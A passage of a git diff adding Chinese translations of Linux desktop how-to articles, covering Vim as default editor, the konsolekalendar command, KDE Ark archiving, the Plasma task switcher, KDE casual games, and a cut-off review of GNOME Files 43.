定义为编辑器。为使配置生效,你需要关闭所有正在运行的 Bash 会话,并打开新的会话。 + +现在,你现在可以使用所有你熟悉的 Vim 命令,包括光标移动。只要按下 `Esc` 键就可以进入 Vim 编辑模式。我特别喜欢多次使用 `b` 将光标移回多个字的功能。 + +### 将 Vim 设置为其他程序的默认值 + +一些 Linux 命令行工具和程序会检查 `$EDITOR` 环境变量来决定使用哪个编辑器。你可以用下面的命令检查这个变量的当前值。我在一个新安装的虚拟机上运行过该命令,以查看默认的编辑器到底是什么。 + +``` +# echo $EDITOR +/usr/bin/nano +# +``` + +默认情况下,检查 `$EDITOR` 环境变量的 Fedora 程序会使用 Nano 编辑器。在 `myBashConfig.sh` 中添加一行 `EDITOR=vi`(如上面的片段所示),可以将默认值改为 Vi(Vim)编辑器。然而,不是所有使用外部编辑器的命令行程序都会检查这个环境变量。 + +### 在 Alpine 中编辑电子邮件 + +几周前,我认为 Pico 不太适合作为我的电子邮件编辑器。我可以使用它,而且在从 Thunderbird 转到 [Alpine][4] 之后的一段时间内我也用了一段时间。但我发现,Pico 妨碍了我,我总是习惯使用 Vim 按键序列,这影响了我的工作效率。 + +我在 Alpine 的用户帮助中看到,默认编辑器是可以修改的。我决定把它改成 Vim。实际上这很容易做到。 + +在 Alpine 主菜单上,按 `S` 键进入设置,然后按 `C` 键进行配置。在 “编辑器设置Composer Preferences” 部分,按 `X` 选择 “启用外部编辑器命令Enable Alternate Editor Command” 和 “隐式启用外部编辑器Enable Alternate Editor Implicitly” 项目。在往下滚动几页的 “高级用户设置Advanced User Preferences” 部分,找到 `Editor 那一行。如果它还没有被修改的话,它应该是这样的: + +``` +Editor    = +``` + +用光标栏突出显示 `Editor` 这一行,然后按回车键来编辑。将 `` 改为 `vim`,再按回车键,然后按 `E` 键退出,最后按 `Y` 键保存修改。 + +要用 Vim 编辑电子邮件,只需进入电子邮件正文,Vim 就会自动启动,就像 Pico 那样。所有我喜欢的编辑功能都还在,因为它实际上是在使用 Vim。甚至退出 Vim 的 `Esc :wq` 序列也是一样的。 + +### 总结 + +与其他编辑器相比,我更喜欢 Vim,对我的系统进行的这些改动后,那些默认使用其他编辑器的应用程序,将使用 Vim 来替代它们的默认编辑器。有些程序使用 `$EDITOR` 环境变量,因此你只需要做一次修改就够了。其他有用户配置选项的程序,如 Alpine,则必须为每个程序单独设置。 + +这种可以选择你喜欢的外部编辑器的能力,非常符合 Unix 哲学的宗旨:“每个程序都只做一件事,而且要做得出色”。既然已经有几个优秀的编辑器,为什么还要再写一个呢?而且它也符合 Linux 哲学的宗旨:“使用你最喜欢的编辑器”。 + +当然,你可以把你的默认文本编辑器改为 Nano、Pico、Emacs 或任何其他你喜欢的编辑器。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/2/configure-vim-default-editor + +作者:[David Both][a] +选题:[lujun9972][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/dboth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/laptop_screen_desk_work_chat_text.png?itok=UXqIDRDD (Person using a laptop) +[2]: https://opensource.com/article/20/12/gnu-nano +[3]: https://opensource.com/tags/emacs +[4]: https://opensource.com/article/21/5/alpine-linux-email diff --git a/published/202204/20220215 Manage your calendar from the Linux terminal with the konsolekalendar command.md b/published/202204/20220215 Manage your calendar from the Linux terminal with the konsolekalendar command.md new file mode 100644 index 0000000000..370909af4d --- /dev/null +++ b/published/202204/20220215 Manage your calendar from the Linux terminal with the konsolekalendar command.md @@ -0,0 +1,129 @@ +[#]: subject: "Manage your calendar from the Linux terminal with the konsolekalendar command" +[#]: via: "https://opensource.com/article/22/2/manage-calendar-linux-konsolekalender-kde" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14486-1.html" + +在 Linux 终端管理你的日历 +====== + +> KDE 很适合在 Linux 上进行基于终端的日程安排。konsolekalendar 命令让你从终端查看和管理 iCal 日历。 + +![](https://img.linux.net.cn/data/attachment/album/202204/18/161418rsp7x2evo6zl766v.jpg) + +我是一个 [KDE 用户][2],多年来我一直在 Plasma 桌面上进行着看似无尽的探索。如果你在公开场合问我,我可能会声称自己对我每天使用的桌面了如指掌。但实际上,我只是刚刚触及到表面而已。似乎每天我都能学到一个新的 KDE 技巧,让我的生活变得更轻松或更有趣,我最新的发现是 `konsolekalendar` 命令,它让你从终端查看和管理 iCal 日历。 + +### Akonadi + +Akonadi 项目是一个底层 KDE 框架,帮助 Plasma 桌面跟踪所有的个人信息管理器(PIM)数据。它主要是为开发者服务的,包括很多可以让程序员用来创建应用的库,通过这些程序你可以访问你的联系人、笔记、电子邮件、日历等等。Akonadi 中包括一些终端命令,比如 `akonadictl` 可以启动和停止 Akonadi 服务,但它们大多是为了排除故障。然而,`konsolekalendar` 是一个面向用户的命令,可以让你完全访问 Kontact 套件的所有数据,包括 KMail、Notes 和日历。 + +如果你正在运行 KDE 的 Plasma 桌面,那么你已经安装了 Kontact 套件。 + +![Kontact UI][3] + +你也安装好了 Akonadi 和它的工具,所以你所需要的基于终端的日历完成了! + +### 从终端查看你的日历 + +由于 [NextCloud][5] 和 [Radicale][6] 等项目的存在,你可以托管自己的 iCal 日历服务,或者你可能已经在流行的供应商(例如,Google)那里拥有一个 iCal 账户。当你使用 Kontact 管理日历时,你订阅了一个日历对象(用 Akonadi 的术语说是一个“集合collection”)。当你对你的本地日历进行更新时,这些变化会被送回你的 iCal 服务器以同步你的日历服务器和客户端。 + +无论你是否使用过 Kontact 的日历功能,你在 Kontact 中都有一些默认的日历对象。你有一个叫**个人日历**和**生日和纪念日**的日历对象。 + +以下是如何显示当天的日历(默认为**个人日历**): + +``` +$ konsolekalendar +Date: Saturday, January 15, 2022 + 10:00 AM - 11:00 AM +Summary: Covid booster shot +UID: 8d8a1e38-c88c-4d84-99e5-23... +---------------------------------- +Date: Saturday, January 15, 2022 + 12:00 PM - 01:00 PM +Summary: Lunch +UID: 7aa89a... +---------------------------------- +Date: Saturday, January 15, 2022 + 01:00 PM - 04:45 PM +Summary: Afternoon coding +UID: 9cde38b... +---------------------------------- +Date: Saturday, January 15, 2022 + 06:00 PM - 10:00 PM +Summary: Planescape game +UID: c73f7e98-722f-48a2-8006-66... +---------------------------------- +``` + +### 添加一个事件 + +要查看你订阅的所有日历,请使用 `--list-calendars` 选项: + +``` +$ konsolekalendar --list-calendars +---------------------------------- +3 - (Read only) Birthdays & Anniversaries +11 - Personal Calendar +60 - (Read only) Open Invitations +61 - (Read only) Declined Invitations +66 - Dnd +67 - Work +68 - Museum +``` + +左边的数字是日历的 ID。要添加一个事件到一个特定的日历,请使用 `--calendar` 选项,然后是日历 ID: + +``` +$ konsolekalendar --add --calendar 66 \ +--date 2022-01-16 \ +--time 20:00 --end-time 23:59 \ +--summary "Another game" \ +--description "Remember to bring dice" \ +Success: "Another game" inserted +``` + +### 删除一个事件 + +你也可以删除事件。每个事件都有一个唯一的 ID(UID),在每个事件列表的底部提供: + +``` +$ konsolekalendar --list +Date: Saturday, January 15, 2022 + 06:00 PM - 10:00 PM +Summary: Planescape game +UID: c73f7e98-722f-48a2-8006-66aa8ddcf789 +``` + +要删除一个事件,请使用 `--delete` 选项,同时使用 `--uid` 选项: + +``` +$ konsolekalendar --delete \ +--uid c73f7e98-722f-48a2-8006-66aa8ddcf789 +``` + +### 终端中的 Akonadi + +你用 `konsolekalendar` 所做的一切都会立即在 Akonadi 中执行,并在 Kontact 中得到同样快的反映。使用一个并不意味着你必须放弃另一个。由于它们共享 Akonadi 后端,两者查看和编辑相同的数据。`konsolekalendar` 命令是一项正在进行的工作。未来的计划包括与 Kontact 的笔记和日记部分的整合,而且还有很多比本文所涉及的更多的选项。如果你在使用 KDE 桌面,试试 `konsolekalendar`,体验一下终端的 PIM! + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/2/manage-calendar-linux-konsolekalender-kde + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/calendar.jpg?itok=jEKbhvDT (Calendar close up snapshot) +[2]: https://opensource.com/article/17/5/7-cool-kde-tweaks-will-improve-your-life +[3]: https://opensource.com/sites/default/files/uploads/kontact.jpg (Kontact UI) +[4]: https://creativecommons.org/licenses/by-sa/4.0/ +[5]: https://opensource.com/article/21/1/nextcloud-productivity +[6]: https://radicale.org/v3.html diff --git a/published/202204/20220216 Archive files on your Linux desktop with Ark for KDE.md b/published/202204/20220216 Archive files on your Linux desktop with Ark for KDE.md new file mode 100644 index 0000000000..3b62f776de --- /dev/null +++ b/published/202204/20220216 Archive files on your Linux desktop with Ark for KDE.md @@ -0,0 +1,128 @@ +[#]: subject: "Archive files on your Linux desktop with Ark for KDE" +[#]: via: "https://opensource.com/article/22/2/archives-files-linux-ark-kde" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lujun9972" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14453-1.html" + +使用 KDE 的 Ark 在 Linux 桌面上归档文件 +====== + +> 在 KDE 上创建、检查和扩展压缩的档案。 + +![](https://img.linux.net.cn/data/attachment/album/202204/10/110019yfqsy4hel2jqhs8h.jpg) + +当我完成一个项目时,我经常喜欢把为这个项目创建的所有文件放到一个档案中。这不仅可以 [节省空间][2],而且可以让这些文件远离我的视线,防止它们在我使用 [find][3] 和 [grep][4] 搜索我当前想要的文件时作为结果出现。一旦文件被归档,它们就会被你的文件系统视为一个单独的对象,这意味着你不能像浏览普通文件夹那样来浏览它们。你可以把它们解压缩来列出档案的内容,或者打开一个终端,运行适当的归档命令,比如 [tar][5] 命令。又或者你可以使用一个像 Ark 这样的应用程序来列出、预览、修改和管理你的档案。 + +### 在 Linux 上安装 Ark + +KDE Plasma 桌面预装了 Ark,你也可以从软件包管理器中获取。在 Fedora、Mageia 和类似的系统中,你可以运行: + +``` +$ sudo dnf install ark +``` + +在 Debian、Elementary 和类似的系统中,你可以运行: + +``` +$ sudo apt install ark +``` + +你也可以从 [Flathub][7] 上 [获取并安装它的 Flatpak 包][6]。 + +### 创建一个档案 + +熟悉归档的最好方法就是自己创建一个档案,然后探索它。所有的这些都可以通过 Ark 来完成。 + +首先,从你的应用程序菜单中启动 Ark,然后进入“档案Archive”菜单,选择“新建New”。 + +![用 Ark 创建一个新的档案][8] + +(图源 Seth Kenlon / [CC BY-SA 4.0][9]) + +给你的档案设置一个文件名,使用默认的压缩设置,并将档案保存到你的主目录。 + +Ark 不会自动创建空的档案,但在你设置好名称和位置后,只要你向其中添加文件,Ark 就会立即创建一个档案。 + +要向即将建立的档案中添加文件,只需将该文件拖入 Ark 窗口即可。 + +![档案中的内容][10] + +(图源 Seth Kenlon / [CC BY-SA 4.0][9]) + +归档有两个好处:合并和压缩。通过把文件添加到档案里,你将许多文件整合到了同一个地方。因为它们已经存在于档案中,所以,如果你想要摆脱这些文件的干扰,你完全以把原始的副本删除掉。 + +要查看你通过压缩文件节省了多少磁盘空间,你可以进入“档案Archive”菜单,选择“属性Properties”。它会显示出文件在归档前/后的大小,同时还有很多其他有用的元数据。 + +![档案的属性和元数据][11] + +(图源 Seth Kenlon / [CC BY-SA 4.0][9]) + +Ark 可以做的事情还有很多,但是现在先关闭 Ark,假装你已经使用完毕。你的档案会存放在你声明保存它的位置(在这个例子中,它的名字是 `example.tar.gz`,位于我的用户主目录中。) + +### 查看档案中的文件 + +Ark 可以打开任何档案,就像打开一个普通的文件夹一样。要在 Ark 中打开一个档案,只需在文件管理器中左键点击它(单击/双击,取决于你的系统设置)。你也可以右键点击它,并选择“用 Ark 打开Open with Ark”。 + +一旦档案在 Ark 中打开,你就可以在文件管理器中进行大部分操作,包括删除文件、添加新文件、预览文件内容等等。 + +### 从档案中删除文件 + +有时候,你会把一个文件放到一个你不需要的档案中。此时,当你想从档案中删除一个文件时,你可以右键单击该文件并选择“删除Delete”。 + +![右键菜单][12] + +(图源 Seth Kenlon / [CC BY-SA 4.0][9]) + +### 向档案中添加文件 + +向档案中添加文件是更加容易的。你只需从文件管理器中把该文件拖拽到 Ark 里。另外,你也可以选择 Ark 右键菜单中“添加文件Add Files”。 + +### 从档案中提取单个文件 + +当处理一个档案时,许多人会选择解开整个档案,然后寻找他们真正需要的一两个文件。对于小型档案,这勉强说得过去,但对于大型档案来说,这会占用你大量的时间和磁盘空间,哪怕只是暂时的。 + +有了 Ark,你可以只提取你需要的文件,只要把它们从 Ark 窗口拖到你要保存的地方就行。另外,你也可以选择右键菜单中的“提取Extract”。 + +### 预览档案中的文件 + +事实上,你并不总是需要提取文件。如果你只是需要快速查看一个文件,Ark 或许可以向你展示一个文件的预览,而不需要将其解压到你的硬盘上。 + +要预览一个文件,在 Ark 中双击它即可。 + +![在 Ark 中预览一个文件][13] + +(图源 Seth Kenlon / [CC BY-SA 4.0][9]) + +### 开始归档吧 + +在 Linux 桌面上管理档案是非常简单和直观的。Ark 是一个很好的归档工具,许多其他的 Linux 桌面也有类似的工具。因此,即使你不使用 Ark,其他类似的工具也能帮助到你。对我来说,归档很大程度上让我保持了文件的有条不紊、节约了磁盘空间。Ark 的存在使得我们可以很方便地和档案打交道。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/2/archives-files-linux-ark-kde + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/yearbook-haff-rx-linux-file-lead_0.png?itok=-i0NNfDC (Hand putting a Linux file folder into a drawer) +[2]: https://opensource.com/article/21/11/linux-commands-convert-files +[3]: https://opensource.com/article/21/9/linux-find-command +[4]: https://opensource.com/article/21/3/grep-cheat-sheet +[5]: https://opensource.com/article/17/7/how-unzip-targz-file +[6]: https://opensource.com/article/21/11/install-flatpak-linux +[7]: https://flathub.org/apps/details/org.kde.ark +[8]: https://opensource.com/sites/default/files/ark-new.jpg (Creating a new archive in Ark) +[9]: https://creativecommons.org/licenses/by-sa/4.0/ +[10]: https://opensource.com/sites/default/files/ark-items.jpg (Items in an archive) +[11]: https://opensource.com/sites/default/files/ark-properties.jpg (Archive properties and metadata) +[12]: https://opensource.com/sites/default/files/ark-menu-click-right.jpg (Right-click menu) +[13]: https://opensource.com/sites/default/files/ark-preview.jpg (Previewing a file in Ark) diff --git a/published/202204/20220226 How to Configure Task Switcher in KDE Plasma Desktop.md b/published/202204/20220226 How to Configure Task Switcher in KDE Plasma Desktop.md new file mode 100644 index 0000000000..973738eba6 --- /dev/null +++ b/published/202204/20220226 How to Configure Task Switcher in KDE Plasma Desktop.md @@ -0,0 +1,137 @@ +[#]: subject: "How to Configure Task Switcher in KDE Plasma Desktop" +[#]: via: "https://www.debugpoint.com/2022/02/configure-task-switcher-kde/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14450-1.html" + +如何在 KDE Plasma 桌面上配置任务切换器 +====== + +> 本指南解释了如何在 KDE Plasma 桌面中配置任务切换器。 + +![Configure KDE Plasma Task Switcher][1] + +### 什么是任务切换器? + +[任务切换器][2] 是一个帮助你在当前桌面会话中切换打开的窗口或应用的组件。通常,当你按下 `Alt+Tab` 时,它会显示为一个图标列表。 + +![Thumbnail Grid Task Switcher][3] + +而这在 KDE Plasma 中是可以根据你的具体需要高度配置的。你可以定制它的外观、图标的排序、相同应用的分组等等。 + +### 改变 KDE Plasma 的任务切换器选项 + +打开“系统设置System Settings”。在“工作区Workspace”组下,点击“窗口管理Window Management > 任务切换器Task Switcher”。 + +在Main标签上,可视化Visualisation部分有一个下拉菜单。这个下拉菜单包含几个任务切换器选项,你可以尝试一下。 + +选择你喜欢的选项并点击“预览”按钮。如果你感到满意,那么你可以点击“应用Apply”按钮。 + +![Configure Task Switcher in KDE][4] + +这就是如何改变 KDE Plasma 桌面中的任务切换器的方法。 + +### 替代切换器 + +替代Alternative选项卡也包含同样的任务切换器的可视化选项。然而,你可以为替代方案配置集设置 `Alt+Tab` 以外的不同组合键。这样,你可以同时体验两组不同组合的任务切换器。 + +### 可视化 + +截至编写本指南时的 [KDE Plasma 5.24][5],有以下不同的任务切换器: + + * Breeze + * Breeze Dark + * Breeze Twilight + * Compact + * Fedora + * Grid + * Informative + * large Icons + * Small Icons + * Text Only + * Thumbnail Grid + * Thumbnails + +下面是上述任务切换器的截图。 + +![][6] + +![][7] + +![][8] + +![][9] + +![][10] + +![][11] + +![][12] + +![][13] + +![][14] + +现在,这就是 KDE Plasma 桌面中任务切换器的基本配置。现在我将解释它在以下情况下是如何表现的。 + +### 多显示器或显示屏中的任务切换器 + +如果你有一个多显示器(显示屏)环境,你不需要做任何事情。任务切换器将根据你的鼠标光标所在的位置显示出来。这意味着它将显示在活动显示器上。 + +### 任务切换器与相同的应用分组 + +你也可以在任务切换器中对相同的应用图标进行分组,以保持其简单明了。例如,如果你打开了多个 Dolphin 文件管理器实例,你可以选择下面的选项,在任务切换器的可视化中只出现一次 Dolphin 图标。 + +![Same application grouping][16] + +但你可能想知道如果只出现一次,如何在相同的应用实例中切换。你可以通过任务切换器中的 `Alt+\``(默认值)来切换相同的应用。下面是你可以根据你的需要和工作来改变的选项。 + +### 下载更多的任务切换器 + +如果你对上述所有的选项不满意,你可以通过同一个设置窗口从 KDE 商店下载更多的任务切换器。 + +点击上图标注 ❺ 的 “获取新的任务切换器Get New Task Switchers” ,选择你最喜欢的一个。然后点击“安装Install”。完成安装后,回到主设置窗口,应用新下载的可视化。 + +记住,这些额外的项目是用户贡献的,在某些情况下可能会破坏你当前的主题,所以要慎重使用。在任何时候,你都可以点击重置按钮,回到原来的任务切换器视觉效果。 + +### 结束语 + +我希望这篇指南能帮助你在 KDE Plasma 桌面上设置一个漂亮而有效的任务切换器。正如我所说的,自定义选项很多,你可以随意发挥。 + +感谢阅读。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/2022/02/configure-task-switcher-kde/ + +作者:[Arindam][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lujun9972 +[1]: https://www.debugpoint.com/wp-content/uploads/2022/02/kdetaskw1-1024x576.jpg +[2]: https://docs.kde.org/trunk5/en/kwin/kcontrol/kwintabbox/index.html +[3]: https://www.debugpoint.com/wp-content/uploads/2022/02/Thumbnail-Grid-1024x177.jpg +[4]: https://www.debugpoint.com/wp-content/uploads/2022/02/Configure-Task-Switcher-in-KDE-1024x652.jpg +[5]: https://www.debugpoint.com/2022/01/kde-plasma-5-24/ +[6]: https://www.debugpoint.com/wp-content/uploads/2022/02/Thumbnails-150x150.jpg +[7]: https://www.debugpoint.com/wp-content/uploads/2022/02/Thumbnail-Grid-150x150.jpg +[8]: https://www.debugpoint.com/wp-content/uploads/2022/02/Text-Only-150x150.jpg +[9]: https://www.debugpoint.com/wp-content/uploads/2022/02/Small-Icons-150x108.jpg +[10]: https://www.debugpoint.com/wp-content/uploads/2022/02/Large-Icons-150x150.jpg +[11]: https://www.debugpoint.com/wp-content/uploads/2022/02/Informative-150x150.jpg +[12]: https://www.debugpoint.com/wp-content/uploads/2022/02/Grid-Task-Switcher-150x150.jpg +[13]: https://www.debugpoint.com/wp-content/uploads/2022/02/Compact-Task-Switcher-150x150.jpg +[14]: https://www.debugpoint.com/wp-content/uploads/2022/02/Breeze-Task-Switcher-150x150.jpg +[16]: https://www.debugpoint.com/wp-content/uploads/2022/02/Same-application-grouping.jpg +[17]: https://t.me/debugpoint +[18]: https://twitter.com/DebugPoint +[19]: https://www.youtube.com/c/debugpoint?sub_confirmation=1 +[20]: https://facebook.com/DebugPoint diff --git a/published/202204/20220226 My favorite casual games to play on Linux.md b/published/202204/20220226 My favorite casual games to play on Linux.md new file mode 100644 index 0000000000..dbab553478 --- /dev/null +++ b/published/202204/20220226 My favorite casual games to play on Linux.md @@ -0,0 +1,81 @@ +[#]: subject: "My favorite casual games to play on Linux" +[#]: via: "https://opensource.com/article/22/2/casual-gaming-linux-kde" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lujun9972" +[#]: translator: "perfiffer" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14435-1.html" + +我最喜欢在 Linux 上玩的休闲游戏 +====== + +> 在编译开源代码的同时在 Linux 上玩电子游戏。 + +![](https://img.linux.net.cn/data/attachment/album/202204/05/162045ecqsvd80cq2050dd.jpg) + +我喜欢一款可以让自己沉浸数小时的好游戏,但我并不总是能够忽略工作而消失在电子游戏中。尽管如此,我还是喜欢不时的接受有趣的挑战,当我的计算机忙于做一些我需要等待的事情时,我最喜欢启动的两个应用程序是来自 KDE 游戏包的游戏:**KBlocks** 和 **Kolf**。 + +### KBlocks + +我最喜欢的电子游戏是这种从方块从天上掉下来,最好是落成一排,当方块相邻时就会神奇的消失的游戏。KBlocks 就是这样的,它的实现很棒。它可以使用**左箭头**和**右箭头**控制方块进行旋转,使用**下箭头**让方块更快的下落,使用**空格键**直接落下方块,不同的难度级别,方块下落的速度不同。 + +![KBlocks][2] + +(Seth Kenlon, [CC BY-SA 4.0][3]) + +KBlocks 的默认主题是古埃及,这对游戏的玩法没有影响,但对于古埃及的爱好者来说可能是愉快的游戏体验。不过,你可以在“配置 KBlocksConfigure KBlocks”菜单项中更改主题。有一个名为 “Plasma” 的替代主题,或者你可以单击“获取新主题Get New Themes”按钮并下载由用户贡献的主题。 + +![KBlocks Invaders by José Jorge][4] + +(Seth Kenlon, CC BY-SA 4.0) + +主题纯粹是美学方面的事情,但就艺术类型的人而言,为休闲游戏创建主题可能是为开源项目作出贡献的一种有趣方式。 + +#### 引导我进入 KDE Plasma 桌面的游戏 + +我承认,KBlocks 对我来说很难放下。事实上,正是我在会议期间玩游戏的愿望让我在 Emacs 中找到了 `M-x tetris` 命令,这反过来又让我发现并爱上了 Linux。这个游戏有很大的魅力。也许 KBlocks 将成为你发现 KDE Plasma 桌面的途径? + +### Kolf + +我不喜欢现实生活中的高尔夫,但在电脑上,迷你高尔夫结合了模拟物理和有趣的关卡设计,既令人愉快,又令人沮丧。Kolf 的目标如你所料:将高尔夫球打入洞中。当然,目的地总是在拐角处、需要越过山丘、经过池塘或者在墙后,因此你的目标是计算球速、摩擦力、坡度和轨迹,使其完美地让球回到球洞并尽可能少的击打球。 + +![Miniature golf][5] + +(Seth Kenlon, [CC BY-SA 4.0][3]) + +它从来没有看起来那么简单,而且我认为看着高尔夫球从物体上反弹,并滚下你从未打算让它靠近的山丘,这永远不会过时。 + +#### 设计自己的球场 + +当你尝试设计自己的迷你高尔夫球场时,乐趣才真正开始。是的,Kolf 有一个关卡编辑器,你可以在其中建造墙壁、放置池塘、山丘和沙坑,添加弹球式保险杠等等。 + +![Kolf editor][6] + +(Seth Kenlon, [CC BY-SA 4.0][3]) + +因为 Kolf 可以是多人游戏,所以给每个玩家五分钟的时间来设计一个关卡,然后看看谁在谁的关卡上做的最好,这特别有趣。 + +### Linux KDE 游戏 + +这绝不是 KDE 项目中仅有的两款游戏。还有许多其它游戏,包括卡牌游戏、拼图游戏和街机游戏。KDE 游戏包的好处是,它们包含了你可以随时走开的游戏,而且它们只需要你一点点的注意力。我在编译代码时使用这些游戏来消磨时间。有时候我并不能完整的玩完一局游戏,但我总是很欣赏这种心理状态的微妙转变。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/2/casual-gaming-linux-kde + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[perfiffer](https://github.com/perfiffer) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/gaming_grid_penguin.png?itok=7Fv83mHR (Gaming with penguin pawns) +[2]: https://opensource.com/sites/default/files/kblocks.jpg (KBlocks) +[3]: https://creativecommons.org/licenses/by-sa/4.0/ +[4]: https://opensource.com/sites/default/files/kblocks-invaders.jpg (KBlocks Invaders by José Jorge) +[5]: https://opensource.com/sites/default/files/kolf.jpg (Miniature golf) +[6]: https://opensource.com/sites/default/files/kolf-edit.jpg (Kolf editor) diff --git a/published/202204/20220303 Nautilus File Manager Looks Amazing with GTK4 and Libadwaita - A Deep Dive.md b/published/202204/20220303 Nautilus File Manager Looks Amazing with GTK4 and Libadwaita - A Deep Dive.md new file mode 100644 index 0000000000..502948af1a --- /dev/null +++ b/published/202204/20220303 Nautilus File Manager Looks Amazing with GTK4 and Libadwaita - A Deep Dive.md @@ -0,0 +1,117 @@ +[#]: subject: "Nautilus File Manager Looks Amazing with GTK4 and Libadwaita – A Deep Dive" +[#]: via: "https://www.debugpoint.com/2022/03/gnome-files-43/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14442-1.html" + +GTK4 和 Libadwaita 让 GNOME 43 的文件管理器看起来很出色 +====== + +![](https://img.linux.net.cn/data/attachment/album/202204/07/163919x7t2hbblzmthmjfk.jpg) + +> 我们测试了 GNOME “文件Files” v43 的开发版本,在这里将向你深入披露其外观、功能和性能的细节。 + +GNOME 文件Files(以前的 Nautilus)也许是当今 GNOME 生态空间中使用最多的桌面应用。而且,自其首次发布以来,它从未接受过什么大修,而其他的 GNOME 应用乃至桌面本身都转移到了一个较新的技术栈。 + +现在一切都变了。GNOME 开发者正在为整个桌面和 “文件” 采用 GTK4 和 libadwaita。 + +GNOME “文件” v43 将在 2022 年晚些时候与 GNOME 43 一起发布,必将令人印象深刻。这个急需的 [重制][1] 带来了原生的深色模式、很棒的 UI 以及出色的 libadwaita 触控和 GTK4 性能提升。 + +### GNOME “文件” v43 + +我们安装了 GNOME “文件” v43 的 Flatpak 开发版本,下面是我们的发现。 + +第一印象,你应该注意到漂亮的 UI 触控,这要感谢 Libadwaita。关闭按钮是漂亮的圆形,而地址栏、选择高亮和整个文件窗口都有适当的间距和圆角。 + +所有的组件都没有出现边框高亮线。 + +下面是 v43(左)和 v42(右)的深浅模式的快速比较。 + +![GNOME Files 43 and 42 – Light Mode Comparison][2] + +![GNOME Files 43 and 42 – Dark Mode Comparison][3] + +地址栏的文件夹分隔符保持不变。然而,字体却有了些许润色。地址栏的上下文菜单改变了,“在终端打开Open in Terminal”选项没有了。取而代之的是 “在其它应用中打开Open in Other application” 菜单。引入了一个新的选项 “创建链接Create Link”。我想许多用户会怀念 “在终端打开” 的选项。 + +> 3/3 更新(感谢 Rashid):“在终端打开” 选项是 Nautilus 扩展包的一部分。因此,Flatpak 构建版不能“看到”它。因此,它本身并没有被删除。 + +![New option in address bar menu][4] + +另一个重要的变化是你应该注意到两个主工具条菜单:a)视图按钮和 b)汉堡主菜单。这些上下文菜单项显示了菜单项及键盘快捷键。这也使它们看起来更显眼一些。 + +![The Hamburger menu now have keyboard shortcuts][5] + +文件夹的上下文菜单现在有一个向上的小箭头,指向从它弹出的文件夹。文件夹的右键上下文菜单以组为单位组织得很好。例如,打开动作是分组的,而剪切、复制、粘贴在上下文菜单中以横杠的形式明显分开。 + +![Context Menu for folder changes][6] + +我还注意到一个新的选项 “粘贴到该文件夹Paste into the folder”,这个很好。 + +Nautilus 搜索几乎与 “文件” v42 相同,只是在 “文件” v43 中你可以通过创建日期/时间搜索。 + +~~然而,我注意到一个令人兴奋的变化。上下文菜单中的文件关联的应用名称被删除了。例如,如果你今天试图在 “文件” v42 中打开一个文本文件,它在上下文菜单中显示与之相关的应用名称。在 “文件” v43 中,它只显示 “打开”。我觉得这种改变是不必要的。之前的情况更好。~~ + +> 3/3 更新(感谢 Rashid):当我在试用 v43 的沙盒 Flatpak 版本时,它并没有看到系统关联。所以,这不是一个变化。但是,我又想知道,如果有人试图真正使用 Flatpak 版本怎么办。 + +![A subtle change in context menu for file association][7] + +所以,这就是我在这个应用的新 GTK4 版本中发现的整体变化。但它看起来不错?不是吗。此外,如果你是直接从 Ubuntu 20.04 LTS 来的,其中包含 “文件” 3.38,那么也许你的体验会是“哇”!如果你将 “文件” v43 与 “文件” v3.38 进行比较,大部分区域都发生了变化。对于这些用户来说,这将是一个相当不错的体验。 + +你应该记住,v43 仍在开发中,因此在未来最终发布时,可能会发生变化。 + +### 愿望清单 + +如果比较各种 Linux 文件管理器,其他的文件管理器的选项远多于今天的 GNOME “文件”。 + +是这样的。 + 